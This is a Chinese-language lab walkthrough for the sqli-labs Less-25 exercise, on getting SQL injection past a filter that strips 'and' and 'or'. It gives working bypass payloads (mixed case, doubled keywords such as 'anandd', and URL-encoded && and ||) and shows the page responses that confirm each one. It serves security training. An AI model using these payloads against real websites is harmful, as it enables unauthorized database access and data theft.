And和or的作用
AND为同时满足两个条件。比如测试字符型/数字型用到and 1=1 和and 1=2 的语句。
Or为满足一个条件即可。例如报错注入的时候会用到or语句
绕过手法
1.使用大小写绕过
例如: ?id=1' anD 1=1 --+
2.复写绕过
例如: ?id=1' anandd 1=1 --+
3.用&&取代and,用||取代or
例如: ?id=1' && 1=1 --+
?id=1' || 1=1 --+
有的时候用&&和||识别不到,所以我们需要把他进行url的转码
例如?id=1' && 1=1 --+ 转码后 ?id=1' %26%26 1=1 --+
?id=1' || 1=1 --+ 转码后 ?id =1' %7C%7C 1=1 --+
演示案例
sqli-labs-master/Less-25
分析源码
1.使用preg_replace()函数检查$id这个变量的参数,如果这个参数里面出现了'/or/'的字符,使用i把他转换成小写进行匹配,也就是说不管你输入的是or还是OR,最后都会变成or。然后在替换成空
2.使用preg_replace()函数检查$id这个变量的参数,如果这个参数里面出现了’/AND/’的字符串,使用i把他转换成小写进行匹配,也就是说不管你输入的是AND还是and,最后都 会变成and。然后在替换成空
随便输入个参数?id=1
页面正常
在参数后面随便丢个'单引号进去,确定一下闭合方式
页面回显
''1'' LIMIT 0,1'
'1'' LIMIT 0,1
红色部分为我们输入,确定闭合方式单引号闭合
url :?id=1'and 1=1 --+
页面报错,回显 '1=1 -- ' LIMIT 0,1' at line 1 ,可以看出把我们输入的and给替换成空了。
使用复写绕过
url:?id=1' anandd 1=1 --+
页面正常
url:?id=1' anandd 1=2 --+
页面报错。绕过成功
说明我们输入的语句他带入数据库执行了
使用&&进行绕过
页面报错,没有识别出我们输入的&&,进行url的编码转换
url: ?id=1' %26%26 1=1 --+
页面正常
url: ?id=1' %26%26 1=2 --+
页面报错绕过成功